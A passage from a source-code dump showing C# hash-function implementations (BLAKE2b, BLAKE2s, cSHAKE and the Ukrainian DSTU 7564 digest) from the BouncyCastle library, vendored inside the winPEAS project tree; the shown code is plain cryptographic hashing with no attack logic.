internalState[posC] = internalState[posC] + internalState[posD]; internalState[posB] = Rotr64(internalState[posB] ^ internalState[posC], 63); // replaces 11 of BLAKE } private static ulong Rotr64(ulong x, int rot) { return x >> rot | x << -rot; } /** * return the algorithm name * * @return the algorithm name */ public virtual string AlgorithmName { get { return "BLAKE2b"; } } /** * return the size, in bytes, of the digest produced by this message digest. * * @return the size, in bytes, of the digest produced by this message digest. */ public virtual int GetDigestSize() { return digestLength; } /** * Return the size in bytes of the internal buffer the digest applies it's compression * function to. * * @return byte length of the digests internal buffer. */ public virtual int GetByteLength() { return BLOCK_LENGTH_BYTES; } /** * Overwrite the key * if it is no longer used (zeroization) */ public virtual void ClearKey() { if (key != null) { Array.Clear(key, 0, key.Length); Array.Clear(buffer, 0, buffer.Length); } } /** * Overwrite the salt (pepper) if it * is secret and no longer used (zeroization) */ public virtual void ClearSalt() { if (salt != null) { Array.Clear(salt, 0, salt.Length); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/Blake2sDigest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /* The BLAKE2 cryptographic hash function was designed by Jean- Philippe Aumasson, Samuel Neves, Zooko Wilcox-O'Hearn, and Christian Winnerlein. Reference Implementation and Description can be found at: https://blake2.net/ RFC: https://tools.ietf.org/html/rfc7693 This implementation does not support the Tree Hashing Mode. For unkeyed hashing, developers adapting BLAKE2 to ASN.1 - based message formats SHOULD use the OID tree at x = 1.3.6.1.4.1.1722.12.2. Algorithm | Target | Collision | Hash | Hash ASN.1 | Identifier | Arch | Security | nn | OID Suffix | ---------------+--------+-----------+------+------------+ id-blake2s128 | 32-bit | 2**64 | 16 | x.2.4 | id-blake2s160 | 32-bit | 2**80 | 20 | x.2.5 | id-blake2s224 | 32-bit | 2**112 | 28 | x.2.7 | id-blake2s256 | 32-bit | 2**128 | 32 | x.2.8 | ---------------+--------+-----------+------+------------+ */ /** * Implementation of the cryptographic hash function BLAKE2s. *

    * BLAKE2s offers a built-in keying mechanism to be used directly * for authentication ("Prefix-MAC") rather than a HMAC construction. *

    * BLAKE2s offers a built-in support for a salt for randomized hashing * and a personal string for defining a unique hash function for each application. *

    * BLAKE2s is optimized for 32-bit platforms and produces digests of any size * between 1 and 32 bytes. */ public class Blake2sDigest : IDigest { /** * BLAKE2s Initialization Vector **/ private static readonly uint[] blake2s_IV = // Produced from the square root of primes 2, 3, 5, 7, 11, 13, 17, 19. // The same as SHA-256 IV. { 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 }; /** * Message word permutations **/ private static readonly byte[,] blake2s_sigma = { { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 }, { 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3 }, { 11, 8, 12, 0, 5, 2, 15, 13, 10, 14, 3, 6, 7, 1, 9, 4 }, { 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, 5, 10, 4, 0, 15, 8 }, { 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, 11, 12, 6, 8, 3, 13 }, { 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, 7, 5, 15, 14, 1, 9 }, { 12, 5, 1, 15, 14, 13, 4, 10, 0, 7, 6, 3, 9, 2, 8, 11 }, { 13, 11, 7, 14, 12, 1, 3, 9, 5, 0, 15, 4, 8, 6, 2, 10 }, { 6, 15, 14, 9, 11, 3, 0, 8, 12, 2, 13, 7, 1, 4, 10, 5 }, { 10, 2, 8, 4, 7, 6, 1, 5, 15, 11, 9, 14, 3, 12, 13, 0 } }; private const int ROUNDS = 10; // to use for Catenas H' private const int BLOCK_LENGTH_BYTES = 64;// bytes // General parameters: private int digestLength = 32; // 1- 32 bytes private int keyLength = 0; // 0 - 32 bytes for keyed hashing for MAC private byte[] salt = null; private byte[] personalization = null; private byte[] key = null; // Tree hashing parameters: // Because this class does not implement the Tree Hashing Mode, // these parameters can be treated as constants (see Init() function) /* * private int fanout = 1; // 0-255 * private int depth = 1; // 1 - 255 * private int leafLength= 0; * private long nodeOffset = 0L; * private int nodeDepth = 0; * private int innerHashLength = 0; */ /** * Whenever this buffer overflows, it will be processed in the Compress() * function. For performance issues, long messages will not use this buffer. */ private byte[] buffer = null; /** * Position of last inserted byte **/ private int bufferPos = 0;// a value from 0 up to BLOCK_LENGTH_BYTES /** * Internal state, in the BLAKE2 paper it is called v **/ private uint[] internalState = new uint[16]; /** * State vector, in the BLAKE2 paper it is called h **/ private uint[] chainValue = null; // counter (counts bytes): Length up to 2^64 are supported /** * holds least significant bits of counter **/ private uint t0 = 0; /** * holds most significant bits of counter **/ private uint t1 = 0; /** * finalization flag, for last block: ~0 **/ private uint f0 = 0; // For Tree Hashing Mode, not used here: // private long f1 = 0L; // finalization flag, for last node: ~0L /** * BLAKE2s-256 for hashing. */ public Blake2sDigest() : this(256) { } public Blake2sDigest(Blake2sDigest digest) { this.bufferPos = digest.bufferPos; this.buffer = Arrays.Clone(digest.buffer); this.keyLength = digest.keyLength; this.key = Arrays.Clone(digest.key); this.digestLength = digest.digestLength; this.chainValue = Arrays.Clone(digest.chainValue); this.personalization = Arrays.Clone(digest.personalization); } /** * BLAKE2s for hashing. * * @param digestBits the desired digest length in bits. Must be a multiple of 8 and less than 256. */ public Blake2sDigest(int digestBits) { if (digestBits < 8 || digestBits > 256 || digestBits % 8 != 0) throw new ArgumentException("BLAKE2s digest bit length must be a multiple of 8 and not greater than 256"); buffer = new byte[BLOCK_LENGTH_BYTES]; keyLength = 0; digestLength = digestBits / 8; Init(); } /** * BLAKE2s for authentication ("Prefix-MAC mode"). *

    * After calling the doFinal() method, the key will remain to be used for * further computations of this instance. The key can be overwritten using * the clearKey() method. * * @param key a key up to 32 bytes or null */ public Blake2sDigest(byte[] key) { buffer = new byte[BLOCK_LENGTH_BYTES]; if (key != null) { if (key.Length > 32) throw new ArgumentException("Keys > 32 are not supported"); this.key = new byte[key.Length]; Array.Copy(key, 0, this.key, 0, key.Length); keyLength = key.Length; Array.Copy(key, 0, buffer, 0, key.Length); bufferPos = BLOCK_LENGTH_BYTES; // zero padding } digestLength = 32; Init(); } /** * BLAKE2s with key, required digest length, salt and personalization. *

    * After calling the doFinal() method, the key, the salt and the personal * string will remain and might be used for further computations with this * instance. The key can be overwritten using the clearKey() method, the * salt (pepper) can be overwritten using the clearSalt() method. * * @param key a key up to 32 bytes or null * @param digestBytes from 1 up to 32 bytes * @param salt 8 bytes or null * @param personalization 8 bytes or null */ public Blake2sDigest(byte[] key, int digestBytes, byte[] salt, byte[] personalization) { if (digestBytes < 1 || digestBytes > 32) throw new ArgumentException("Invalid digest length (required: 1 - 32)"); this.digestLength = digestBytes; this.buffer = new byte[BLOCK_LENGTH_BYTES]; if (salt != null) { if (salt.Length != 8) throw new ArgumentException("Salt length must be exactly 8 bytes"); this.salt = new byte[8]; Array.Copy(salt, 0, this.salt, 0, salt.Length); } if (personalization != null) { if (personalization.Length != 8) throw new ArgumentException("Personalization length must be exactly 8 bytes"); this.personalization = new byte[8]; Array.Copy(personalization, 0, this.personalization, 0, personalization.Length); } if (key != null) { if (key.Length > 32) throw new ArgumentException("Keys > 32 bytes are not supported"); this.key = new byte[key.Length]; Array.Copy(key, 0, this.key, 0, key.Length); keyLength = key.Length; Array.Copy(key, 0, buffer, 0, key.Length); bufferPos = BLOCK_LENGTH_BYTES; // zero padding } Init(); } // initialize chainValue private void Init() { if (chainValue == null) { chainValue = new uint[8]; chainValue[0] = blake2s_IV[0] ^ (uint)(digestLength | (keyLength << 8) | 0x1010000); // 0x1010000 = ((fanout << 16) | (depth << 24)); // with fanout = 1; depth = 0; chainValue[1] = blake2s_IV[1];// ^ leafLength; with leafLength = 0; chainValue[2] = blake2s_IV[2];// ^ nodeOffset; with nodeOffset = 0; chainValue[3] = blake2s_IV[3];// ^ ( (nodeOffset << 32) | (nodeDepth << 16) | (innerHashLength << 24) ); // with nodeDepth = 0; innerHashLength = 0; chainValue[4] = blake2s_IV[4]; chainValue[5] = blake2s_IV[5]; if (salt != null) { chainValue[4] ^= Pack.LE_To_UInt32(salt, 0); chainValue[5] ^= Pack.LE_To_UInt32(salt, 4); } chainValue[6] = blake2s_IV[6]; chainValue[7] = blake2s_IV[7]; if (personalization != null) { chainValue[6] ^= Pack.LE_To_UInt32(personalization, 0); chainValue[7] ^= Pack.LE_To_UInt32(personalization, 4); } } } private void InitializeInternalState() { // initialize v: Array.Copy(chainValue, 0, internalState, 0, chainValue.Length); Array.Copy(blake2s_IV, 0, internalState, chainValue.Length, 4); internalState[12] = t0 ^ blake2s_IV[4]; internalState[13] = t1 ^ blake2s_IV[5]; internalState[14] = f0 ^ blake2s_IV[6]; internalState[15] = blake2s_IV[7];// ^ f1 with f1 = 0 } /** * Update the message digest with a single byte. * * @param b the input byte to be entered. */ public virtual void Update(byte b) { int remainingLength; // left bytes of buffer // process the buffer if full else add to buffer: remainingLength = BLOCK_LENGTH_BYTES - bufferPos; if (remainingLength == 0) { // full buffer t0 += BLOCK_LENGTH_BYTES; if (t0 == 0) { // if message > 2^32 t1++; } Compress(buffer, 0); Array.Clear(buffer, 0, buffer.Length);// clear buffer buffer[0] = b; bufferPos = 1; } else { buffer[bufferPos] = b; bufferPos++; } } /** * Update the message digest with a block of bytes. * * @param message the byte array containing the data. * @param offset the offset into the byte array where the data starts. * @param len the length of the data. */ public virtual void BlockUpdate(byte[] message, int offset, int len) { if (message == null || len == 0) return; int remainingLength = 0; // left bytes of buffer if (bufferPos != 0) { // commenced, incomplete buffer // complete the buffer: remainingLength = BLOCK_LENGTH_BYTES - bufferPos; if (remainingLength < len) { // full buffer + at least 1 byte Array.Copy(message, offset, buffer, bufferPos, remainingLength); t0 += BLOCK_LENGTH_BYTES; if (t0 == 0) { // if message > 2^32 t1++; } Compress(buffer, 0); bufferPos = 0; Array.Clear(buffer, 0, buffer.Length);// clear buffer } else { Array.Copy(message, offset, buffer, bufferPos, len); bufferPos += len; return; } } // process blocks except last block (also if last block is full) int messagePos; int blockWiseLastPos = offset + len - BLOCK_LENGTH_BYTES; for (messagePos = offset + remainingLength; messagePos < blockWiseLastPos; messagePos += BLOCK_LENGTH_BYTES) { // block wise 64 bytes // without buffer: t0 += BLOCK_LENGTH_BYTES; if (t0 == 0) { t1++; } Compress(message, messagePos); } // fill the buffer with left bytes, this might be a full block Array.Copy(message, messagePos, buffer, 0, offset + len - messagePos); bufferPos += offset + len - messagePos; } /** * Close the digest, producing the final digest value. The doFinal() call * leaves the digest reset. Key, salt and personal string remain. * * @param out the array the digest is to be copied into. * @param outOffset the offset into the out array the digest is to start at. */ public virtual int DoFinal(byte[] output, int outOffset) { f0 = 0xFFFFFFFFU; t0 += (uint)bufferPos; // bufferPos may be < 64, so (t0 == 0) does not work // for 2^32 < message length > 2^32 - 63 if ((t0 < 0) && (bufferPos > -t0)) { t1++; } Compress(buffer, 0); Array.Clear(buffer, 0, buffer.Length);// Holds eventually the key if input is null Array.Clear(internalState, 0, internalState.Length); for (int i = 0; i < chainValue.Length && (i * 4 < digestLength); i++) { byte[] bytes = Pack.UInt32_To_LE(chainValue[i]); if (i * 4 < digestLength - 4) { Array.Copy(bytes, 0, output, outOffset + i * 4, 4); } else { Array.Copy(bytes, 0, output, outOffset + i * 4, digestLength - (i * 4)); } } Array.Clear(chainValue, 0, chainValue.Length); Reset(); return digestLength; } /** * Reset the digest back to its initial state. The key, the salt and the * personal string will remain for further computations. */ public virtual void Reset() { bufferPos = 0; f0 = 0; t0 = 0; t1 = 0; chainValue = null; Array.Clear(buffer, 0, buffer.Length); if (key != null) { Array.Copy(key, 0, buffer, 0, key.Length); bufferPos = BLOCK_LENGTH_BYTES; // zero padding } Init(); } private void Compress(byte[] message, int messagePos) { InitializeInternalState(); uint[] m = new uint[16]; for (int j = 0; j < 16; j++) { m[j] = Pack.LE_To_UInt32(message, messagePos + j * 4); } for (int round = 0; round < ROUNDS; round++) { // G apply to columns of internalState:m[blake2s_sigma[round][2 * // blockPos]] /+1 G(m[blake2s_sigma[round,0]], m[blake2s_sigma[round,1]], 0, 4, 8, 12); G(m[blake2s_sigma[round,2]], m[blake2s_sigma[round,3]], 1, 5, 9, 13); G(m[blake2s_sigma[round,4]], m[blake2s_sigma[round,5]], 2, 6, 10, 14); G(m[blake2s_sigma[round,6]], m[blake2s_sigma[round,7]], 3, 7, 11, 15); // G apply to diagonals of internalState: G(m[blake2s_sigma[round,8]], m[blake2s_sigma[round,9]], 0, 5, 10, 15); G(m[blake2s_sigma[round,10]], m[blake2s_sigma[round,11]], 1, 6, 11, 12); G(m[blake2s_sigma[round,12]], m[blake2s_sigma[round,13]], 2, 7, 8, 13); G(m[blake2s_sigma[round,14]], m[blake2s_sigma[round,15]], 3, 4, 9, 14); } // update chain values: for (int offset = 0; offset < chainValue.Length; offset++) { chainValue[offset] = chainValue[offset] ^ internalState[offset] ^ internalState[offset + 8]; } } private void G(uint m1, uint m2, int posA, int posB, int posC, int posD) { internalState[posA] = internalState[posA] + internalState[posB] + m1; internalState[posD] = rotr32(internalState[posD] ^ internalState[posA], 16); internalState[posC] = internalState[posC] + internalState[posD]; internalState[posB] = rotr32(internalState[posB] ^ internalState[posC], 12); internalState[posA] = internalState[posA] + internalState[posB] + m2; internalState[posD] = rotr32(internalState[posD] ^ internalState[posA], 8); internalState[posC] = internalState[posC] + internalState[posD]; internalState[posB] = rotr32(internalState[posB] ^ internalState[posC], 7); } private uint rotr32(uint x, int rot) { return x >> rot | x << -rot; } /** * Return the algorithm name. * * @return the algorithm name */ public virtual string AlgorithmName { get { return "BLAKE2s"; } } /** * Return the size in bytes of the digest produced by this message digest. * * @return the size in bytes of the digest produced by this message digest. */ public virtual int GetDigestSize() { return digestLength; } /** * Return the size in bytes of the internal buffer the digest applies its * compression function to. * * @return byte length of the digest's internal buffer. */ public virtual int GetByteLength() { return BLOCK_LENGTH_BYTES; } /** * Overwrite the key if it is no longer used (zeroization). */ public virtual void ClearKey() { if (key != null) { Array.Clear(key, 0, key.Length); Array.Clear(buffer, 0, buffer.Length); } } /** * Overwrite the salt (pepper) if it is secret and no longer used * (zeroization). */ public virtual void ClearSalt() { if (salt != null) { Array.Clear(salt, 0, salt.Length); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/CSHAKEDigest.cs ================================================ using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { ///

    /// Customizable SHAKE function. /// public class CShakeDigest : ShakeDigest { private static readonly byte[] padding = new byte[100]; private readonly byte[] diff; /// /// Base constructor /// /// bit length of the underlying SHAKE function, 128 or 256. /// the function name string, note this is reserved for use by NIST. Avoid using it if not required. /// the customization string - available for local use. public CShakeDigest(int bitLength, byte[] N, byte[] S) : base(bitLength) { if ((N == null || N.Length == 0) && (S == null || S.Length == 0)) { diff = null; } else { diff = Arrays.ConcatenateAll(XofUtilities.LeftEncode(rate / 8), encodeString(N), encodeString(S)); DiffPadAndAbsorb(); } } // bytepad in SP 800-185 private void DiffPadAndAbsorb() { int blockSize = rate / 8; Absorb(diff, 0, diff.Length); int delta = diff.Length % blockSize; // only add padding if needed if (delta != 0) { int required = blockSize - delta; while (required > padding.Length) { Absorb(padding, 0, padding.Length); required -= padding.Length; } Absorb(padding, 0, required); } } private byte[] encodeString(byte[] str) { if (str == null || str.Length == 0) { return XofUtilities.LeftEncode(0); } return Arrays.Concatenate(XofUtilities.LeftEncode(str.Length * 8L), str); } public override string AlgorithmName { get { return "CSHAKE" + fixedOutputLength; } } public override int DoFinal(byte[] output, int outOff) { return DoFinal(output, outOff,GetDigestSize()); } public override int DoFinal(byte[] output, int outOff, int outLen) { int length = DoOutput(output, outOff, outLen); Reset(); return length; } public override int DoOutput(byte[] output, int outOff, int outLen) { if (diff != null) { if (!squeezing) { AbsorbBits(0x00, 2); } Squeeze(output, outOff, ((long)outLen) * 8); return outLen; } else { return base.DoOutput(output, outOff, outLen); } } public override void Reset() { base.Reset(); if (diff != null) { DiffPadAndAbsorb(); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/DSTU7564Digest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /** * implementation of Ukrainian DSTU 7564 hash function */ public class Dstu7564Digest : IDigest, IMemoable { private const int NB_512 = 8; //Number of 8-byte words in state for <=256-bit hash code. private const int NB_1024 = 16; //Number of 8-byte words in state for <=512-bit hash code. private const int NR_512 = 10; //Number of rounds for 512-bit state. private const int NR_1024 = 14; //Number of rounds for 1024-bit state. private int hashSize; private int blockSize; private int columns; private int rounds; private ulong[] state; private ulong[] tempState1; private ulong[] tempState2; // TODO Guard against 'inputBlocks' overflow (2^64 blocks) private ulong inputBlocks; private int bufOff; private byte[] buf; public Dstu7564Digest(Dstu7564Digest digest) { CopyIn(digest); } private void CopyIn(Dstu7564Digest digest) { this.hashSize = digest.hashSize; this.blockSize = digest.blockSize; this.rounds = digest.rounds; if (columns > 0 && columns == digest.columns) { Array.Copy(digest.state, 0, state, 0, columns); Array.Copy(digest.buf, 0, buf, 0, blockSize); } else { this.columns = digest.columns; this.state = Arrays.Clone(digest.state); this.tempState1 = new ulong[columns]; this.tempState2 = new ulong[columns]; this.buf = Arrays.Clone(digest.buf); } this.inputBlocks = digest.inputBlocks; this.bufOff = digest.bufOff; } public Dstu7564Digest(int hashSizeBits) { if (hashSizeBits == 256 || hashSizeBits == 384 || hashSizeBits == 512) { this.hashSize = hashSizeBits / 8; } else { throw new ArgumentException("Hash size is not recommended. Use 256/384/512 instead"); } if (hashSizeBits > 256) { this.columns = NB_1024; this.rounds = NR_1024; } else { this.columns = NB_512; this.rounds = NR_512; } this.blockSize = columns << 3; this.state = new ulong[columns]; this.state[0] = (ulong)blockSize; this.tempState1 = new ulong[columns]; this.tempState2 = new ulong[columns]; this.buf = new byte[blockSize]; } public virtual string AlgorithmName { get { return "DSTU7564"; } } public virtual int GetDigestSize() { return hashSize; } public virtual int GetByteLength() { return blockSize; } public virtual void Update(byte input) { buf[bufOff++] = input; if (bufOff == blockSize) { ProcessBlock(buf, 0); bufOff = 0; ++inputBlocks; } } public virtual void BlockUpdate(byte[] input, int inOff, int length) { while (bufOff != 0 && length > 0) { Update(input[inOff++]); --length; } if (length > 0) { while (length >= blockSize) { ProcessBlock(input, inOff); inOff += blockSize; length -= blockSize; ++inputBlocks; } while (length > 0) { Update(input[inOff++]); --length; } } } public virtual int DoFinal(byte[] output, int outOff) { // Apply padding: terminator byte and 96-bit length field { int inputBytes = bufOff; buf[bufOff++] = (byte)0x80; int lenPos = blockSize - 12; if (bufOff > lenPos) { while (bufOff < blockSize) { buf[bufOff++] = 0; } bufOff = 0; ProcessBlock(buf, 0); } while (bufOff < lenPos) { buf[bufOff++] = 0; } ulong c = ((inputBlocks & 0xFFFFFFFFUL) * (ulong)blockSize + (uint)inputBytes) << 3; Pack.UInt32_To_LE((uint)c, buf, bufOff); bufOff += 4; c >>= 32; c += ((inputBlocks >> 32) * (ulong)blockSize) << 3; Pack.UInt64_To_LE(c, buf, bufOff); // bufOff += 8; ProcessBlock(buf, 0); } { Array.Copy(state, 0, tempState1, 0, columns); P(tempState1); for (int col = 0; col < columns; ++col) { state[col] ^= tempState1[col]; } } int neededColumns = hashSize / 8; for (int col = columns - neededColumns; col < columns; ++col) { Pack.UInt64_To_LE(state[col], output, outOff); outOff += 8; } Reset(); return hashSize; } public virtual void Reset() { Array.Clear(state, 0, state.Length); state[0] = (ulong)blockSize; inputBlocks = 0; bufOff = 0; } protected virtual void ProcessBlock(byte[] input, int inOff) { int pos = inOff; for (int col = 0; col < columns; ++col) { ulong word = Pack.LE_To_UInt64(input, pos); pos += 8; tempState1[col] = state[col] ^ word; tempState2[col] = word; } P(tempState1); Q(tempState2); for (int col = 0; col < columns; ++col) { state[col] ^= tempState1[col] ^ tempState2[col]; } } private void P(ulong[] s) { for (int round = 0; round < rounds; ++round) { ulong rc = (ulong)round; /* AddRoundConstants */ for (int col = 0; col < columns; ++col) { s[col] ^= rc; rc += 0x10L; } ShiftRows(s); SubBytes(s); MixColumns(s); } } private void Q(ulong[] s) { for (int round = 0; round < rounds; ++round) { /* AddRoundConstantsQ */ ulong rc = ((ulong)(((columns - 1) << 4) ^ round) << 56) | 0x00F0F0F0F0F0F0F3UL; for (int col = 0; col < columns; ++col) { s[col] += rc; rc -= 0x1000000000000000L; } ShiftRows(s); SubBytes(s); MixColumns(s); } } private static ulong MixColumn(ulong c) { //// Calculate column multiplied by powers of 'x' //ulong x0 = c; //ulong x1 = ((x0 & 0x7F7F7F7F7F7F7F7FUL) << 1) ^ (((x0 & 0x8080808080808080UL) >> 7) * 0x1DUL); //ulong x2 = ((x1 & 0x7F7F7F7F7F7F7F7FUL) << 1) ^ (((x1 & 0x8080808080808080UL) >> 7) * 0x1DUL); //ulong x3 = ((x2 & 0x7F7F7F7F7F7F7F7FUL) << 1) ^ (((x2 & 0x8080808080808080UL) >> 7) * 0x1DUL); //// Calculate products with circulant matrix from (0x01, 0x01, 0x05, 0x01, 0x08, 0x06, 0x07, 0x04) //ulong m0 = x0; //ulong m1 = x0; //ulong m2 = x0 ^ x2; //ulong m3 = x0; //ulong m4 = x3; //ulong m5 = x1 ^ x2; //ulong m6 = x0 ^ x1 ^ x2; //ulong m7 = x2; //// Assemble the rotated products //return m0 // ^ Rotate(8, m1) // ^ Rotate(16, m2) // ^ Rotate(24, m3) // ^ Rotate(32, m4) // ^ Rotate(40, m5) // ^ Rotate(48, m6) // ^ Rotate(56, m7); // Multiply elements by 'x' ulong x1 = ((c & 0x7F7F7F7F7F7F7F7FUL) << 1) ^ (((c & 0x8080808080808080UL) >> 7) * 0x1DUL); ulong u, v; u = Rotate(8, c) ^ c; u ^= Rotate(16, u); u ^= Rotate(48, c); v = u ^ c ^ x1; // Multiply elements by 'x^2' v = ((v & 0x3F3F3F3F3F3F3F3FUL) << 2) ^ (((v & 0x8080808080808080UL) >> 6) * 0x1DUL) ^ (((v & 0x4040404040404040UL) >> 6) * 0x1DUL); return u ^ Rotate(32, v) ^ Rotate(40, x1) ^ Rotate(48, x1); } private void MixColumns(ulong[] s) { for (int col = 0; col < columns; ++col) { s[col] = MixColumn(s[col]); } } private static ulong Rotate(int n, ulong x) { return (x >> n) | (x << -n); } private void ShiftRows(ulong[] s) { switch (columns) { case NB_512: { ulong c0 = s[0], c1 = s[1], c2 = s[2], c3 = s[3]; ulong c4 = s[4], c5 = s[5], c6 = s[6], c7 = s[7]; ulong d; d = (c0 ^ c4) & 0xFFFFFFFF00000000UL; c0 ^= d; c4 ^= d; d = (c1 ^ c5) & 0x00FFFFFFFF000000UL; c1 ^= d; c5 ^= d; d = (c2 ^ c6) & 0x0000FFFFFFFF0000UL; c2 ^= d; c6 ^= d; d = (c3 ^ c7) & 0x000000FFFFFFFF00UL; c3 ^= d; c7 ^= d; d = (c0 ^ c2) & 0xFFFF0000FFFF0000UL; c0 ^= d; c2 ^= d; d = (c1 ^ c3) & 0x00FFFF0000FFFF00UL; c1 ^= d; c3 ^= d; d = (c4 ^ c6) & 0xFFFF0000FFFF0000UL; c4 ^= d; c6 ^= d; d = (c5 ^ c7) & 0x00FFFF0000FFFF00UL; c5 ^= d; c7 ^= d; d = (c0 ^ c1) & 0xFF00FF00FF00FF00UL; c0 ^= d; c1 ^= d; d = (c2 ^ c3) & 0xFF00FF00FF00FF00UL; c2 ^= d; c3 ^= d; d = (c4 ^ c5) & 0xFF00FF00FF00FF00UL; c4 ^= d; c5 ^= d; d = (c6 ^ c7) & 0xFF00FF00FF00FF00UL; c6 ^= d; c7 ^= d; s[0] = c0; s[1] = c1; s[2] = c2; s[3] = c3; s[4] = c4; s[5] = c5; s[6] = c6; s[7] = c7; break; } case NB_1024: { ulong c00 = s[0], c01 = s[1], c02 = s[2], c03 = s[3]; ulong c04 = s[4], c05 = s[5], c06 = s[6], c07 = s[7]; ulong c08 = s[8], c09 = s[9], c10 = s[10], c11 = s[11]; ulong c12 = s[12], c13 = s[13], c14 = s[14], c15 = s[15]; ulong d; // NOTE: Row 7 is shifted by 11 d = (c00 ^ c08) & 0xFF00000000000000UL; c00 ^= d; c08 ^= d; d = (c01 ^ c09) & 0xFF00000000000000UL; c01 ^= d; c09 ^= d; d = (c02 ^ c10) & 0xFFFF000000000000UL; c02 ^= d; c10 ^= d; d = (c03 ^ c11) & 0xFFFFFF0000000000UL; c03 ^= d; c11 ^= d; d = (c04 ^ c12) & 0xFFFFFFFF00000000UL; c04 ^= d; c12 ^= d; d = (c05 ^ c13) & 0x00FFFFFFFF000000UL; c05 ^= d; c13 ^= d; d = (c06 ^ c14) & 0x00FFFFFFFFFF0000UL; c06 ^= d; c14 ^= d; d = (c07 ^ c15) & 0x00FFFFFFFFFFFF00UL; c07 ^= d; c15 ^= d; d = (c00 ^ c04) & 0x00FFFFFF00000000UL; c00 ^= d; c04 ^= d; d = (c01 ^ c05) & 0xFFFFFFFFFF000000UL; c01 ^= d; c05 ^= d; d = (c02 ^ c06) & 0xFF00FFFFFFFF0000UL; c02 ^= d; c06 ^= d; d = (c03 ^ c07) & 0xFF0000FFFFFFFF00UL; c03 ^= d; c07 ^= d; d = (c08 ^ c12) & 0x00FFFFFF00000000UL; c08 ^= d; c12 ^= d; d = (c09 ^ c13) & 0xFFFFFFFFFF000000UL; c09 ^= d; c13 ^= d; d = (c10 ^ c14) & 0xFF00FFFFFFFF0000UL; c10 ^= d; c14 ^= d; d = (c11 ^ c15) & 0xFF0000FFFFFFFF00UL; c11 ^= d; c15 ^= d; d = (c00 ^ c02) & 0xFFFF0000FFFF0000UL; c00 ^= d; c02 ^= d; d = (c01 ^ c03) & 0x00FFFF0000FFFF00UL; c01 ^= d; c03 ^= d; d = (c04 ^ c06) & 0xFFFF0000FFFF0000UL; c04 ^= d; c06 ^= d; d = (c05 ^ c07) & 0x00FFFF0000FFFF00UL; c05 ^= d; c07 ^= d; d = (c08 ^ c10) & 0xFFFF0000FFFF0000UL; c08 ^= d; c10 ^= d; d = (c09 ^ c11) & 0x00FFFF0000FFFF00UL; c09 ^= d; c11 ^= d; d = (c12 ^ c14) & 0xFFFF0000FFFF0000UL; c12 ^= d; c14 ^= d; d = (c13 ^ c15) & 0x00FFFF0000FFFF00UL; c13 ^= d; c15 ^= d; d = (c00 ^ c01) & 0xFF00FF00FF00FF00UL; c00 ^= d; c01 ^= d; d = (c02 ^ c03) & 0xFF00FF00FF00FF00UL; c02 ^= d; c03 ^= d; d = (c04 ^ c05) & 0xFF00FF00FF00FF00UL; c04 ^= d; c05 ^= d; d = (c06 ^ c07) & 0xFF00FF00FF00FF00UL; c06 ^= d; c07 ^= d; d = (c08 ^ c09) & 0xFF00FF00FF00FF00UL; c08 ^= d; c09 ^= d; d = (c10 ^ c11) & 0xFF00FF00FF00FF00UL; c10 ^= d; c11 ^= d; d = (c12 ^ c13) & 0xFF00FF00FF00FF00UL; c12 ^= d; c13 ^= d; d = (c14 ^ c15) & 0xFF00FF00FF00FF00UL; c14 ^= d; c15 ^= d; s[0] = c00; s[1] = c01; s[2] = c02; s[3] = c03; s[4] = c04; s[5] = c05; s[6] = c06; s[7] = c07; s[8] = c08; s[9] = c09; s[10] = c10; s[11] = c11; s[12] = c12; s[13] = c13; s[14] = c14; s[15] = c15; break; } default: { throw new InvalidOperationException("unsupported state size: only 512/1024 are allowed"); } } } private void SubBytes(ulong[] s) { for (int i = 0; i < columns; ++i) { ulong u = s[i]; uint lo = (uint)u, hi = (uint)(u >> 32); byte t0 = S0[lo & 0xFF]; byte t1 = S1[(lo >> 8) & 0xFF]; byte t2 = S2[(lo >> 16) & 0xFF]; byte t3 = S3[lo >> 24]; lo = (uint)t0 | ((uint)t1 << 8) | ((uint)t2 << 16) | ((uint)t3 << 24); byte t4 = S0[hi & 0xFF]; byte t5 = S1[(hi >> 8) & 0xFF]; byte t6 = S2[(hi >> 16) & 0xFF]; byte t7 = S3[hi >> 24]; hi = (uint)t4 | ((uint)t5 << 8) | ((uint)t6 << 16) | ((uint)t7 << 24); s[i] = (ulong)lo | ((ulong)hi << 32); } } private static readonly byte[] S0 = new byte[] { 0xa8, 0x43, 0x5f, 0x06, 0x6b, 0x75, 0x6c, 0x59, 0x71, 0xdf, 0x87, 0x95, 0x17, 0xf0, 0xd8, 0x09, 0x6d, 0xf3, 0x1d, 0xcb, 0xc9, 0x4d, 0x2c, 0xaf, 0x79, 0xe0, 0x97, 0xfd, 0x6f, 0x4b, 0x45, 0x39, 0x3e, 0xdd, 0xa3, 0x4f, 0xb4, 0xb6, 0x9a, 0x0e, 0x1f, 0xbf, 0x15, 0xe1, 0x49, 0xd2, 0x93, 0xc6, 0x92, 0x72, 0x9e, 0x61, 0xd1, 0x63, 0xfa, 0xee, 0xf4, 0x19, 0xd5, 0xad, 0x58, 0xa4, 0xbb, 0xa1, 0xdc, 0xf2, 0x83, 0x37, 0x42, 0xe4, 0x7a, 0x32, 0x9c, 0xcc, 0xab, 0x4a, 0x8f, 0x6e, 0x04, 0x27, 0x2e, 0xe7, 0xe2, 0x5a, 0x96, 0x16, 0x23, 0x2b, 0xc2, 0x65, 0x66, 0x0f, 0xbc, 0xa9, 0x47, 0x41, 0x34, 0x48, 0xfc, 0xb7, 0x6a, 0x88, 